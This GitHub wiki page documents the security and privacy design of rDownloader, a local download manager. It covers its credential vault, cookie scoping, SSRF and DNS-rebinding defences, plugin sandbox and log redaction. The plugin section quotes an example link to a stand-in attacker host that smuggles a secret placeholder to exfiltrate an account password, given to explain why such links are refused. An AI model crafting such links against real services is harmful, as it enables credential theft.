security and privacy - degoya/rDownloader GitHub Wiki
rDownloader is local-first: it binds to 127.0.0.1:8710, stores credentials encrypted, and sends
nothing anywhere you did not configure. This page collects the guarantees.
Signing in, sessions, tokens and permissions have their own page: Accounts, sessions and permissions.
- Binds exclusively to
127.0.0.1unless told otherwise. - The administrator login set up on first run can be switched off for use on this computer
only. Only a request from this machine's loopback address that no proxy forwarded gets in
without the password; every other machine still signs in. Settings → Security warns while
the login is off and a trusted proxy or an external URL is set, because a proxy on this machine
that does not set
X-Forwarded-Forlets everybody behind it in (see Reverse proxy). -
Only names it knows. Every request's host name is checked: IP addresses,
localhostand the external URL's host always work, and so do names that exist only on the local network — a single label,.local,.home.arpaand.internal; other names only once they are listed under Allowed host names, so a stranger's web page cannot reach the service by pointing its own name at127.0.0.1(DNS rebinding). See Reverse proxy. - Remote access is meant to go through a TLS reverse proxy. See Reverse proxy.
-
No other page can frame or reinterpret it. Every answer carries
X-Content-Type-Options: nosniff,Referrer-Policy: same-originandX-Frame-Options: DENYwithframe-ancestors 'none', and the web interface runs under a content security policy that allows scripts from its own origin only. -
The data folder is the trust boundary. Whoever can open it can stop the service and set a new
administrator password without the current one (
rdownloader auth reset-password); nothing that only reaches the service over the network can. Keep it readable by the service's user only. See A forgotten password. - There is no public multi-user or role management, on purpose. Delegation is done with scoped tokens instead.
Provider, proxy and NNTP credentials are not stored as plaintext in SQLite. They live in a
local vault encrypted with XChaCha20-Poly1305; the master key comes from the operating-system
keyring, with a private 0600 fallback file on Unix. Each entry is sealed together with its
reference, so an entry file moved or copied to another reference does not decrypt.
A settings row holds only a reference into the vault. What is in the vault is never returned by the API, never written to a log or an event, and never placed in a backup exported without secrets.
That includes:
- hoster and multihoster credentials,
- proxy credentials,
- NNTP passwords,
- remote-transfer logins (FTP, SFTP, WebDAV),
- notification target secrets,
- indexer API keys,
- tokens of GitHub/GitLab release subscriptions,
- the captcha solver API key,
- captured request bodies,
- archive passwords of packages, NZB imports and subscription hits.
Archive passwords are the one exception to "never returned": the LinkGrabber, the download list and the subscription review show and edit them, because they come from a release title or an NZB and you need the exact value when an unpack fails. They are kept in the vault, one entry per package and removed with the package, so neither the database file nor the copies rDownloader takes before a database upgrade or an update contain them. A full backup carries them sealed under the backup's own key, never in plain, and a restore — on the same machine or another one — puts them into that machine's vault; a settings export never contains them.
A provider account's credential is attached to a download only for the hosts that provider declares, and only over TLS:
- A credential does not follow a redirect to a foreign host — neither the cloud drives' sign-in tokens nor the HTTP Basic pair Seedr and Pixeldrain accounts send.
- A client secret is never sent as a token. An account whose sign-in has not produced a token yet sends nothing rather than the secret.
The same holds for authentication profiles. The scope of an
authentication profile is checked for every address a request goes
to: a redirect within the scope keeps the header, a redirect out of it loses it, and a header
chosen for an https address is never sent over plain HTTP. A cookie profile's cookies stay bound
to their domain on every request.
It travels in the request body to the solver service and nowhere else — never in a URL. Solver
endpoints must be absolute https URLs, so a typo cannot put the key on the wire in clear.
No credential headers are stored. Cookies, Authorization and comparable headers are removed
in the extension and dropped again on the server, so they reach neither the database nor the API,
events or logs. Only an explicit allowlist of harmless headers is kept.
The body of a form-based download is the one exception, because the download cannot be
reproduced without it. It is encrypted into the vault on arrival, never returned by any API, and
not replayed until a person has approved that specific request. Only its field names and size
are displayed. The browser extension never sends a body — a download the page started with a
POST stays with the browser — so such a body comes only from another API client.
A repeated request is confined to the addresses that were approved for it; a client can narrow the approval but never widen it, so neither a credential header nor a body reaches a host nobody approved.
See The LinkGrabber and Browser extension.
A widget captcha is answered on the hoster's own page, through the extension. The token is never stored, never shown in a notification and never logged, in the extension or on the server; the extension keeps nothing about a captcha on disk. The permission it asks for is that one page's origin, released when the tab closes.
Take over from browser at a provider account asks the extension for the session your browser
holds at that hoster. The site is always the one the provider's plugin declares; nobody else can
name another. Nothing is read until you press Hand over this session in the popup, which is
when the browser asks for the cookies permission for that one site — given back after the read.
Only cookies of that host, or of a domain above it, leave the browser, only to your paired
rDownloader, which refuses the whole set if a single cookie lies outside the site. They are stored
encrypted with the account. A capture token can answer or decline such a request, never start one
or choose the account. See
Browser extension.
For a site you allow in the extension's popup, an NZB, torrent or ZIP download goes to rDownloader — in Firefox as the bytes the browser received, otherwise as the address with exactly the cookies the browser would send to it. rDownloader fetches that address once, sends the cookies only to its own scheme, host and port — a redirect elsewhere goes without them — and keeps them nowhere: no cookie store, no row, no log line. Without a consent for the site nothing is handed over, and the consent is revocable in the popup and the options page. The address, and every address a redirect leads to, may be in your own network but never on this machine: a handed-over address cannot make rDownloader request its own API. See Browser extension.
The rules that recognise release pages fetch attacker-chosen pages. Four guarantees bound what such a run can reach:
- The ban on private ranges is checked against the resolved address, never the name — an IPv4 address hidden inside an IPv6 one included.
- The address that was checked is the address that is dialled, so DNS rebinding cannot change the host.
- Every redirect hop is checked before it is followed.
- There is no JavaScript interpreter. Base64, hex, rot13, percent-encoding and concatenated string literals are decoded; what is genuinely a program ends as a refusal with a stable code.
Reusable, per-domain credentials — browser session, HTTP Basic, Bearer, optional client certificate — kept in the vault and selected per job. They are set up under Settings → Accounts → Site logins, beside the provider accounts.
A download that would send credentials is shown for approval first, stating which category of credential goes to which host, and is confined to the addresses you approve.
A cookie is sent to the profile's own host, and to its subdomains only when the profile says
include subdomains. One rule decides this for everything that holds cookies — a profile, a
provider account's cookie session, a session handed over from the browser, and the cookie file
given to yt-dlp for a media download:
-
A cookie for a public suffix is refused. A row set for
com, or forco.ukin a profile forexample.co.uk, would reach every site under that suffix. It is checked against Mozilla's Public Suffix List (built in), and nothing is stored: A cookie is set for a public suffix such as com or co.uk. -
A cookie for a parent domain is accepted, but kept to the profile's host. A browser hands a
page its parent domain's cookies, so
.example.comin a profile forwww.example.comis normal — it goes towww.example.comonly, not to every*.example.com. - A cookie for a foreign domain is refused — A cookie lies outside {host}; nothing was stored.
-
A pasted
Cookie:header reaches the profile's host only, unless the profile includes subdomains.
The check runs when the profile is saved, and again when an edit changes its host or
subdomain setting. A refused save keeps your input in the form and says what was wrong beneath
it. In the yt-dlp cookie file, refused rows are left out rather than failing the download.
Signed query parameters (AWS, Azure and Google signed URLs included), Authorization, Cookie
and secret-vault references are redacted in stored failures, REST error bodies and logs.
Parameter names survive, so support output stays readable.
The log is redacted before it is stored, not only before display, so no copy on disk holds
what the log viewer does not show. A field whose name says it holds a credential is replaced
whole; a password inside an ftp://user:password@host/ address goes with the userinfo.
Nothing, unless you sent it.
- The diagnostic bundle is written to disk, never uploaded, and only after you have seen an inventory of what it would hold and approved it. What it never contains, whatever the settings say: download file names and contents, credential-bearing URLs, and secrets of any kind.
- The audit log is append-only and is not exported anywhere by itself. You can export what a filter matched, deliberately.
- Trace export over OpenTelemetry is off by default and needs an endpoint you name.
- Metadata enrichers are off by default, because an enricher reaches a service outside this machine, and only links a plugin claims are sent at all.
- The interface fetches nothing from the internet — every icon is bundled.
See Diagnostics and maintenance.
A Metalink document, an NZB, a container file or a release page decides which addresses rDownloader is asked to fetch — so none of them may point it at this machine. A proposed link never reaches a loopback address, the service's own address, a link-local or a cloud metadata address, and it reaches your own network only when you handed the document over yourself.
The rule holds for the online check, the download itself, mirrors, an NZB such a link names, and FTP, SFTP and WebDAV connections; FTP ignores the address a passive-mode reply names. yt-dlp, gallery-dl and streamlink are refused such an address before it is handed to them; what they do afterwards is their own.
A private tracker's passkey never leaves the service. Whether it sits in the userinfo, a query parameter or a path segment, it is replaced before the URL reaches the API, an event or a log; the interface can still keep, reorder or remove the tracker without seeing it. Web-seed and proxy URLs are redacted the same way, and a tracker's own error text is truncated before it is shown.
A tracker URL comes out of a .torrent and is therefore attacker-controlled input. A scrape
refuses loopback, link-local, unique-local, unspecified, broadcast and multicast targets and
follows no redirects, so a hostile torrent cannot reach a cloud metadata endpoint or a local
service. Private LAN ranges stay allowed, so a self-hosted tracker keeps working.
Peer addresses are personal data of third parties. They are never written to a log and never put into a persisted event, and the API masks them to their network prefix — IPv4 keeps three octets, IPv6 the routing prefix, the port is dropped — unless an operator explicitly turns full addresses on.
TLS through rustls with platform certificate validation, plus an optional custom CA under
Settings → Network → Proxies & TLS.
A CA bundle that parses to nothing is refused rather than falling back to the public roots.
Settings → Network → Proxies & TLS keeps the HTTP, HTTPS and SOCKS5 routes the global fallback, an account, a Usenet server, a download or the torrent peer proxy can use. A profile is created, edited (an empty password field keeps the stored password), duplicated — the copy opens unsaved in the form and asks for the password again, because the browser never receives it — and deleted after a question. A profile still in use is not deleted: by an account, a Usenet server or an unfinished download, as the global connection route or as the torrent peer proxy. The question already says so when this page has the profile chosen; change that choice and save first.
A stored password stays with the proxy it was entered for. When an edit changes the profile's scheme, host or port, the form says that the stored password is not sent to the new proxy, and you enter it again before saving — or clear the username for a proxy without a login. Every create, edit and delete of a profile is recorded in the audit log, with the proxy's address and the names of the changed fields, never the password.
Which route a request takes. A download, a site rule's request, a sign-in at your identity
provider and the command-line client's call to the local service follow the proxy profile that
applies to them, or go out directly; the proxy variables of the environment never redirect them.
The service's own requests — tracker scrapes, webhook deliveries, captcha solvers, plugin
repositories, tool and update downloads, telemetry export, and the one fetch of a download the
browser extension hands over with its cookies — honour HTTP_PROXY, HTTPS_PROXY and NO_PROXY
like any other program on the machine. The service names itself with the user agent
rDownloader/<version> on all of these and on downloads, unless a link carries a user agent of
its own — as one the browser extension hands over carries the browser's.
Plugins are signed WebAssembly components running in a resource-limited sandbox, with capability grants declared per plugin and a strict network allowlist. No WASI imports are permitted in distributed plugins.
The allowlist holds for every hop of a redirect. A plugin reaches only the hosts its manifest
names, or the one host a notification destination names; a redirect off those hosts is refused
and never requested. Authorization and cookies are dropped on any change of host besides.
A plugin keeps away from this machine and your network unless you sent it there. A name is
resolved once and only the checked addresses are connected to, for web requests and raw
connections alike. Your local network and this machine are reached only through an address you
entered yourself — a storage destination, an address you had crawled, a notification
destination; any other request there is refused with plugin.http_local_target. rDownloader's
own services — the web interface and API, and Click'n'Load — are never reached, not even through
an address you entered or a redirect (plugin.http_own_service), and a link-local address, a
cloud's metadata endpoint among them, never is. A plugin's manifest cannot name an IP address or
localhost at all.
Trust is per role — an application release, a plugin, the tool manifest, a repository index — and a key trusted for one signs nothing under another. A single bad package can be withdrawn by its digest without revoking the key that signed it, and both kinds of withdrawal are recorded in the audit log.
A plugin repository delivers; it vouches for nothing. Its index is signed with a repository key — compiled in for the official one, approved by its fingerprint for any other — and every package it offers still has to verify under a plugin key you trust. A downloaded package must match the index's size and digest, and its entry must name the package's real publisher, version and permissions, or nothing is installed. An automatic update installs only under an already trusted key and never grants a permission the installed version lacks; that one waits for your review. See Installing and trust.
Where a provider encrypts on the client (MEGA), the key never reaches the provider: no request the plugin makes carries it; the application keeps it in the vault, decrypts the stream itself, and never logs, broadcasts or displays it.
A plugin never holds a stored credential. It writes a placeholder such as {{secret}} into its
request, and the sandbox fills in the value on the way out, only for the hosts the plugin's
manifest allows. A placeholder in text from somewhere else must never be filled in: a link like
https://evil.example/f?x={{secret:linksnappy_password}} handed to a LinkSnappy account would
otherwise carry the account password to whoever made it. Three rules prevent it:
-
An address carrying a placeholder is refused. A link, magnet or other address with
{{in it — as written, or hidden under several layers of percent-encoding — never reaches a plugin. Resolving, link checks, folder crawling, stream transforms, remote jobs and transfers refuse it with the codeplugin.address_carries_marker; a link check reports such a link as unknown and checks the rest of the batch. A placeholder in the address a plugin builds itself counts only where the plugin wrote it: a downloaded file called{{secret}}.txtis stored on a WebDAV destination under that name, not with the WebDAV credential in it. -
Downloaded file content is never expanded. Only a request body declared as a form or JSON,
which is how sign-ins are written, is filled in — never an upload and never a
PUT. A file containing{{secret}}, a.torrentincluded, is uploaded byte for byte. -
Text from somewhere else in a notification cannot become a secret. A package name, file
name or feed title is somebody else's text; every
{in it is shown as❴before a notifier plugin sees it. See Braces in notification text.
See Plugin overview and Installing and trust.
Downloads are confined to configured storage roots with validated paths. A storage root may not be, contain or lie inside the data folder, the scripts folder, the vendor or tool folders or the plugin folder, so a download can never become a script or a helper program rDownloader runs. Watched folders refuse to escape their allowed directories through symlinks, and a watched folder on this machine may not reach those protected folders either.
What a download brings along stays inside its package: a ZIP member, an SFV entry or a PAR2
set naming an absolute path or a ../ is refused — the PAR2 set is treated as unreadable and
repairs nothing. An archive password reaches the unpacker as a password, never as extra switches;
on Windows a password containing a ", which 7-Zip cannot receive, is not tried at all.
An unrar older than 6.12 or a 7-Zip older than 25.00 is never started, because both let a link
inside an archive write outside the destination; nothing lifts that floor (see External
tools). Every file an unpack writes must have
exactly one name, so a hard link to a file outside the extraction folder fails the unpack before
anything reaches the package (Linux and macOS).
User scripts and the programs post-processing starts — archive tools, ffmpeg, rclone — do not
inherit the service's environment: they get PATH, HOME, the temporary folder, time zone and
locale, and the values rDownloader sets for the run. A credential the service was started with
does not reach them. See Post-processing.
yt-dlp, gallery-dl and streamlink start in an empty working directory of their own, so a
yt-dlp.conf lying where the service was started is not read, and the remux of a recording lets
ffmpeg open local files only.
The deb and rpm packages' systemd user units restrict the service and the capture agent further:
no new privileges (NoNewPrivileges), so a user script cannot gain any through sudo or a setuid
program; no setuid or setgid files created; no realtime scheduling; native system calls only; and
network access only through Unix, IPv4, IPv6 and netlink sockets. Everything they start inherits
these limits.
Being interrupted mid-write costs time, not data: no byte is counted as confirmed without having been fetched, nothing before a checkpoint is rewritten, and the resumed file is byte-for-byte what an uninterrupted download would have produced. The test suite stops the code at each such point to prove it.
Through a private vulnerability report on GitHub: the repository's Security tab, then Report a vulnerability. The security policy states what belongs in a report, how long an acknowledgement takes, and which version gets fixes — the most recent one.
It also lists the things that look like findings and are not:
- the loopback-and-no-password first-run state,
- the administrator's ability to run scripts and install plugins,
- a rate limiter deliberately incapable of locking the owner out of their own service.
Reference in the repository:
SECURITY.md